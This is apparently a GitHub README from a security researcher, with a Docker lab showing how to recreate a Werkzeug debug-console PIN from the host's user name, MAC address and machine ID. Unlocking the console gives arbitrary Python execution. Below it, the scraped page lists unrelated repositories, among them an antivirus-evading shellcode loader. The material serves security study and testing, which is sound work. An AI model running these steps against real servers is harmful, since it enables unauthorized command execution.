Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector.

Overview

Werkzeug Debug Console Pin Bypass

Werkzeug has a debug console that requires a pin by default. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. The debug console will lock after 10 invalid attempts which requires the server to be restarted for another 10 guesses.

The Werkzeug documentation warns users to never enable the debug console in production with or without a pin (https://werkzeug.palletsprojects.com/en/2.0.x/debug/#debugger-pin).

This repo provides a sample application to play with the /console endpoint on a dummy Flask application.

How to use

  1. Clone this repo
$ git clone https://wdahlenburg/werkzeug-debug-console-bypass
  1. Build the Docker image
$ docker build -t werkzeug-debug-console:latest .
  1. Run the Docker image
$ docker run -p 7777:7777 werkzeug-debug-console:latest
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://172.17.0.4:7777/ (Press CTRL+C to quit)
 * Restarting with stat
User: werkzeug-user
Module: flask.app
Module Name: Flask
App Location: /usr/local/lib/python3.9/site-packages/flask/app.py
Mac Address: 2485377892356
Werkzeug Machine ID: b'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388'

 * Debugger is active!
 * Debugger PIN: 118-831-072

Your server should be running on port 7777 at this point. The PIN will be displayed in the Docker logs, which is what you will be trying to recreate.

Exploiting as a local privilege escalation

A scenario that could come up is that the Flask server is running under a certain user with privileges X. You are a local user on the system with privileges Y. You have the ability to access the same information that Werkzeug uses to generate the PIN for the user running the server. Successfully unlocking the console provides OS command injection as the user running the server.

At any point if you are unsure, you can reference the Docker logs to see the expected values for each parameter.

  1. Open up a new terminal and log into Docker as some other user
$ docker ps                                            
CONTAINER ID   IMAGE                               COMMAND                  CREATED          STATUS          PORTS                                                                                                                                                                                          NAMES
9d0ff0081967   werkzeug-debug-console:latest       "python3 /app/server…"   16 minutes ago   Up 16 minutes   0.0.0.0:7777->7777/tcp, :::7777->7777/tcp

$ docker exec -u 0 -it 9d0ff0081967 /bin/bash
[email protected]:/app#
  1. Take a look at https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py for references
  2. Identify the user running the server on port 7777
$ ps auxww | grep server
werkzeu+     1  0.0  0.1  34992 28072 ?        Ss   15:50   0:00 python3 /app/server.py
werkzeu+    10  0.0  0.1  35248 23780 ?        S    15:50   0:00 python3 /app/server.py
werkzeu+    11  0.0  0.1  35072 28276 ?        S    15:50   0:00 /usr/local/bin/python3 /app/server.py
werkzeu+    12  0.7  0.1 109316 25500 ?        Sl   15:50   0:08 /usr/local/bin/python3 /app/server.py

It's likely the werkzeu user is running the server, but the name is truncated.

$ cat /etc/passwd
...
werkzeug-user:x:1000:1000::/home/werkzeug-user:/bin/sh
  1. Copy the werkzeug-user into the username field of the werkzeug-pin-bypass.py file.

  2. Find the correct path to Flask

$ find / -name "app.py" 2>/dev/null
/usr/local/lib/python3.9/site-packages/flask/app.py
  1. Update the werkzeug-pin-bypass.py file with this information. The location will be different if alternate Python versions or OS's are used.
  2. Grab the Mac Address of the interface the server is hosting on:
$  python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import uuid
>>> str(uuid.getnode())
'2485377892356'

OR

$ cat /sys/class/net/eth0/address 
02:42:ac:11:00:04
[email protected]:/app# python3
Python 3.9.7 (default, Sep  3 2021, 02:02:37) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> "".join("02:42:ac:11:00:04".split(":"))
'0242ac110004'
>>> print(0x0242ac110004)
2485377892356
  1. Update the Mac address in the werkzeug-pin-bypass.py file.
  2. In python3 run the following script to generate the machine id
machine_id = b""
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
    try:
        with open(filename, "rb") as f:
            value = f.readline().strip()
    except OSError:
        continue

    if value:
        machine_id += value
        break
try:
    with open("/proc/self/cgroup", "rb") as f:
        machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
    pass

print(machine_id)
  1. Update the machine id in the werkzeug-pin-bypass.py file.
  2. Go ahead and run the werkzeug-pin-bypass.py on the attacking machine
$  python3 ./werkzeug-pin-bypass.py
Pin: 118-831-072

If all goes well you should have the same Pin as the one displayed in the Docker logs. If not, recheck your steps. If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of sha1.

The pin can be accepted at http://127.0.0.1/console. Once the system is unlocked you can run any python commands you want.

Credit

The original research was done here: https://www.daehee.com/werkzeug-console-pin-exploit/

The LFI vector is listed here: https://github.com/grav3m1nd-byte/werkzeug-pin

Owner
Wyatt Dahlenburg
Security Researcher and Developer
Wyatt Dahlenburg
my own python useful functions

PythonToolKit Motivation This Repo should help save time for data scientists' daily work regarding the Time Series regression task by providing functi

Kai 2 Oct 01, 2022
A collection of common regular expressions bundled with an easy to use interface.

CommonRegex Find all times, dates, links, phone numbers, emails, ip addresses, prices, hex colors, and credit card numbers in a string. We did the har

Madison May 1.5k Dec 31, 2022
DG - A(n) (unusual) programming language

DG - A(n) (unusual) programming language General structure There are no infix-operators (i.e. 1 + 1) Each operator takes 2 parameters When there are m

1 Mar 05, 2022
Data repo for one-among.us

Our Data Data repo for one-among.us File Structure Directory /people/userid/: Data for a specific person info.json5: Profile information page.md: Pr

Hykilpikonna 55 Dec 30, 2022
A simple calculator that can add, subtract, multiply or divide depending upon the input from the user

Calculator A simple calculator that can add, subtract, multiply or divide depending upon the input from the user. In this example, we should have the

Jayesh Mali 1 Dec 27, 2021
Always fill your package requirements without the user having to do anything! Simple and easy!

WSL Should now work always-fill-reqs-python3 Always fill your package requirements without the user having to do anything! Simple and easy! Supported

Hashm 7 Jan 19, 2022
Fortnite StW Claimer for Daily Rewards, Research Points and free Llamas.

Fortnite Save the World Daily Reward, Research Points & free Llama Claimer This program allows you to claim Save the World Daily Reward, Research Poin

PRO100KatYT 27 Dec 22, 2022
Scripts to integrate DFIR-IRIS, MISP and TimeSketch

Scripts to integrate DFIR-IRIS, MISP and TimeSketch

Koen Van Impe 20 Dec 16, 2022
An interactive course to git

OperatorEquals' Sandbox Git Course! Preface This Git course is an ongoing project containing use cases that I've met (and still meet) while working in

John Torakis 62 Sep 19, 2022
A tool to quickly create codeforces contest directories with templates.

Codeforces Template Tool I created this tool to help me quickly set up codeforces contests/singular problems with templates. Tested for windows, shoul

1 Jun 02, 2022
Check broken access control exists in the Java web application

javaEeAccessControlCheck Check broken access control exists in the Java web application. 检查 Java Web 应用程序中是否存在访问控制绕过问题。 使用 python3 javaEeAccessControl

kw0ng 3 May 04, 2022
免杀shellcode加载器

bypassAV 条件触发式远控 VT 5/70 免杀国内杀软及defender、卡巴斯基等主流杀软 原理 https://pureqh.top/?p=5412 use 将shellcode填至go_shellcode_encode.py生成混淆后的base64 payload 然后将生成的payl

405 Dec 14, 2022
Your self-hosted bookmark archive. Free and open source.

Your self-hosted bookmark archive. Free and open source. Contents About LinkAce Support Setup Contribution About LinkAce LinkAce is a self-hosted arch

Kevin Woblick 1.7k Jan 03, 2023
This project intends to take the user's CEP (brazilian adress code) and return the local in which the CEP is placed.

This project aims to simply return the CEP's (the brazilian resident adress code) User of the application. The project uses a request and passes on to

Daniel Soares Saldanha 4 Nov 17, 2021
Tool for working with Direct System Calls in Cobalt Strike's Beacon Object Files (BOF) via Syswhispers2

Tool for working with Direct System Calls in Cobalt Strike's Beacon Object Files (BOF) via Syswhispers2

150 Dec 31, 2022
dta Convert Dict To Attributes!

dta (Dict to Attributes) dta is very small dict (or json) to attributes converter. It is only have 1 files and applied to every python versions.

Rukchad Wongprayoon 0 Dec 31, 2021
Python based scripts for obtaining system information from Linux.

sysinfo Python based scripts for obtaining system information from Linux. Python2 and Python3 compatible Output in JSON format Simple scripts and exte

Petr Vavrin 70 Dec 20, 2022
A subleq VM/interpreter created by me for no reason

What is Dumbleq? Dumbleq is a dumb Subleq VM/interpreter implementation created by me for absolutely no reason at all. What is Subleq? If you haven't

Phu Minh 2 Nov 13, 2022
Node editor view image node

A Blender addon to quickly view images from image nodes in Blender's image viewer.

5 Nov 27, 2022
Sikulix with Ubuntu Calculator Automation

CalculatorAutomation Sikulix with Ubuntu Calculator Automation STEP 1: DOWNLOAD and INSTALL SIKULIX https://raiman.github.io/SikuliX1/downloads.html T

Bedirhan Sayakci 2 Oct 27, 2021